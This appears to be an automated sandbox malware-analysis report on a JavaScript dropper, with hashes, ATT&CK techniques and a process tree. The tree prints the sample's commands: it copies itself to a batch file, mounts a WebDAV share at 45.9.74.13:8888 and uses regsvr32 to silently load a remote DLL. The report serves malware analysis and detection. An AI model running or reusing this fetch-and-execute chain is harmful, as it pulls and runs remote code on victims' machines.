975646ddf48bb7ab30b1402d80abb317365ca8dba968530a5064345049b468f2

Analysis

max time kernel
120s
max time network
122s
platform
windows7_x64
resource
win7-20240708-en
resource tags

arch:x64arch:x86image:win7-20240708-enlocale:en-usos:windows7-x64system
submitted
09/07/2024, 07:09

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General

Target

1164226923355717858.js
Size

5KB
MD5

645dcd852adbbbec908e042681f221e0
SHA1

eeebb5923943c1a5c199dcb61cbe5d531ec173e1
SHA256

f5e97dbf9701fd9afe5e555cb77ca409217354c94f7698a9b8aa18c56442f553
SHA512

cd9b687f4bcd3196d89ee1e0a93dc019f08fda64c2c72bdc525e357ac7b232fa57b34dcb00b8079a38a9a6659492e103ae5733298b128f204b4d0dc247177c84
SSDEEP

96:fk57aO8g60fkKgY7+koRjRBzrxIJrZKAkMK3:fk0/e6M+jRjnzrxIJrZKAkMK3

Score

3^/10

execution

Malware Config

Signatures

Command and Scripting Interpreter: JavaScript 1 TTPs
execution

JavaScript
T1059.007
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082
Runs net.exe

Suspicious behavior: CmdExeWriteProcessMemorySpam 1 IoCs

pid	Process
1592	regsvr32.exe

Suspicious use of WriteProcessMemory 11 IoCs

description	pid	Process	procid_target
PID 2172 wrote to memory of 2272	2172	wscript.exe	30
PID 2172 wrote to memory of 2272	2172	wscript.exe	30
PID 2172 wrote to memory of 2272	2172	wscript.exe	30
PID 2272 wrote to memory of 2488	2272	cmd.exe	32
PID 2272 wrote to memory of 2488	2272	cmd.exe	32
PID 2272 wrote to memory of 2488	2272	cmd.exe	32
PID 2272 wrote to memory of 1592	2272	cmd.exe	33
PID 2272 wrote to memory of 1592	2272	cmd.exe	33
PID 2272 wrote to memory of 1592	2272	cmd.exe	33
PID 2272 wrote to memory of 1592	2272	cmd.exe	33
PID 2272 wrote to memory of 1592	2272	cmd.exe	33

C:\Windows\system32\wscript.exe
wscript.exe C:\Users\Admin\AppData\Local\Temp\1164226923355717858.js
1⤵
- Suspicious use of WriteProcessMemory
PID:2172
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /k copy "C:\Users\Admin\AppData\Local\Temp\1164226923355717858.js" "C:\Users\Admin\\oumlnx.bat" && "C:\Users\Admin\\oumlnx.bat"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2272
- - C:\Windows\system32\net.exe
    net use \\45.9.74.13@8888\DavWWWRoot\
    3⤵
    PID:2488
- - C:\Windows\system32\regsvr32.exe
    regsvr32 /s \\45.9.74.13@8888\DavWWWRoot\978.dll
    3⤵
    - Suspicious behavior: CmdExeWriteProcessMemorySpam
    PID:1592

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

JavaScript

T1059.007

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\oumlnx.bat

Filesize
5KB

MD5
645dcd852adbbbec908e042681f221e0

SHA1
eeebb5923943c1a5c199dcb61cbe5d531ec173e1

SHA256
f5e97dbf9701fd9afe5e555cb77ca409217354c94f7698a9b8aa18c56442f553

SHA512
cd9b687f4bcd3196d89ee1e0a93dc019f08fda64c2c72bdc525e357ac7b232fa57b34dcb00b8079a38a9a6659492e103ae5733298b128f204b4d0dc247177c84

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